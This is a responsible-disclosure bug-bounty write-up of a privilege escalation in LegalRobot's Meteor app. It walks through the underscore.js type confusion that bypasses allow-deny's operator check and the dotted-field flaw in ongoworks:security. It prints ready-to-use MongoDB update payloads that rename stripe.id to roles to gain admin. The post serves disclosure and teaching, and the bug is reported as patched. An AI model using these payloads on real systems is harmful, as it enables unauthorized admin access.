Privilege Escalation on LegalRobot through Type Confusion

One day, while bug hunting on Legal Robot, I decided to investigate the libraries that they were using. Having abused JavaScript's weak types and the bad assumptions associated with them, I was hopeful that I would be able to find a similar issue.

For some background information, LegalRobot is built on Meteor, which is a open source JavaScript platform for web, mobile, and desktop apps. LegalRobot also uses, among other packages, allow-deny, and ongoworks:security. allow-deny acts as a whitelist of sorts, preventing users from using certain MongoDB operators, and ongoworks:security is a role-based permission system.

When trying to use an unsafe operator, allow-deny responds with the following error:

Access denied. Operator $operator not allowed in a restricted collection. [403]

As for ongoworks:security, it places a field in the root of the user object called roles. This field stores the current role of the user as a string or an array.

With that in mind, let's take a look at the code.

First, we need to determine how allow-deny differentiates between safe and unsafe operators. Looking at the code, we can see that allow-deny defines a collection of "safe" operators, and uses the popular JavaScript library underscore.js to check whether a provided operator is safe or not.

CollectionPrototype._validatedUpdate = function(
    userId, selector, mutator, options) {
  // [ removed some code ]
  
  _.each(mutator, function (params, op) {
    if (op.charAt(0) !== '$') {
      throw new Meteor.Error(403, noReplaceError);
    } else if (!_.has(ALLOWED_UPDATE_OPERATIONS, op)) {
      throw new Meteor.Error(
        403, "Access denied. Operator " + op + " not allowed in a restricted collection.");
    } else {
      _.each(_.keys(params), function (field) {
        // treat dotted fields as if they are replacing their
        // top-level part
        if (field.indexOf('.') !== -1)
          field = field.substring(0, field.indexOf('.'));

        // record the field we are trying to change
        if (!_.contains(fields, field))
          fields.push(field);
      });
    }
  });
  
  // [ removed some code ]
}

Checking the implementation of _.has, we see that it calls hasOwnProperty, virtually guaranteeing that we can't prevent the error from being thrown.

Next, we can try preventing the check from occurring at all. To do this, we need _.each to never call the provided function. Fortunately, we control the mutator variable.

Looking at the implementation of _.each, we see three possible code paths (barring the early return if obj is null).

  var each = _.each = _.forEach = function(obj, iterator, context) {
    if (obj == null) return;
    if (nativeForEach && obj.forEach === nativeForEach) {
      obj.forEach(iterator, context);
    } else if (looksLikeArray(obj)) {
      for (var i = 0, length = obj.length; i < length; i++) {
        if (iterator.call(context, obj[i], i, obj) === breaker) return;
      }
    } else {
      var keys = _.keys(obj);
      for (var i = 0, length = keys.length; i < length; i++) {
        if (iterator.call(context, obj[keys[i]], keys[i], obj) === breaker) return;
      }
    }
  };

The first is eliminated right off the bat, because it uses a native function. There's no way we can trick that. After some more analysis, the third can also be eliminated because there's no way to trick _.keys (it just calls _.has internally). This means that the only possibilty is to exploit the second path.

To reach the second path, we must have looksLikeArray return true.

  var _isArguments = function (obj) {
    return toString.call(obj) === '[object Arguments]';
  };
  
  var looksLikeArray = function (obj) {
    return (obj.length === +obj.length
            // _.isArguments not yet necessarily defined here
            && (_isArguments(obj) || obj.constructor !== Object));
  };

On the left hand side, we need obj.length to be a positive integer. On the right hand side, we either need obj to be an instanceof Arguments, or we need obj.constructor to not be Object. This is looking pretty good, because we can have obj be an Object but still pass the looksLikeArray check. We just need to set obj = {length: 0, constructor: 0}.

Looking back at the implementation of _.each, we can see that the business logic is also dictated by the length property. Fortunately, by setting that to 0, we've completely short-circuited the function call. Because of this, none of the validation code will be run.

What this means is that by sending a query like the one given below, we can use any operator we want.

{"length": 0,"constructor": 0, "$operator":{"key": "value"}}

Unfortunately, we can't simply update the roles field. LegalRobot uses ongoworks:security to prevent us from explicitly updating any internal fields.

a.users.permit(["update"]).ifUserIsSelf()
  .exceptProps(["emails", "profile.verified", "stripe.id", "stripe.payment",
                "services", "roles", "alerts", "key", "sign", "emailHash",
                "passwordCheck", "browsers", "agreements"])
  .allowInClientCode()

Fortunately, there is a bad assumption being made here. Because MongoDB keys cannot contain dots, ongoworks:security will treat updates to child keys as updates to the root values.

function computeChangedFieldsFromModifier(modifier) {
  var fields = [];
  // This is the same logic Meteor's mongo package uses in
  // https://github.com/meteor/meteor/blob/devel/packages/mongo/collection.js
  _.each(modifier, function (params) {
    _.each(_.keys(params), function (field) {
      // treat dotted fields as if they are replacing their
      // top-level part
      if (field.indexOf('.') !== -1)
        field = field.substring(0, field.indexOf('.'));

      // record the field we are trying to change
      if (!_.contains(fields, field))
        fields.push(field);
    });
  });
  return fields;
}

This means that in reality, when a user updates the field foo.bar, ongoworks:security will check if an update to foo is permitted, instead of checking whether updating foo.bar is permitted.

By abusing this bad assumption, we can simply update stripe.id to whatever value we want.

{"$set":{"stripe.id": "admin"}}

Then, we can abuse the vulnerability in allow-deny to rename stripe.id to roles. Again, the bad assumption causes the blacklist to allow our query.

{"length": 0, "constructor": 0, "$rename":{"stripe.id": "roles"}}

Just like that, we are now admin.

Overall, this was a very interesting bug. Every component by itself was not vulnerable, but because of some bad assumptions, we were able to confuse underscore.js into treating our object as an array, which then bypassed critical security code.

I'd like to thank LegalRobot for their responsiveness (a temporary patch was applied on the same day), as well as the Meteor team for their efforts in creating and distributing a more formal patch. Users should run the following command in order to update their applications:

meteor update allow-deny

Timeline

Aug 18 - Submitted report
Aug 18 - Awarded bounty
Aug 18 - LegalRobot applied temporary patch
Sept 15 - [email protected] released

Links

HackerOne report - https://hackerone.com/reports/261285
Meteor Advisory - https://blog.meteor.com/meteor-allow-deny-vulnerability-disclosure-baf398f47b25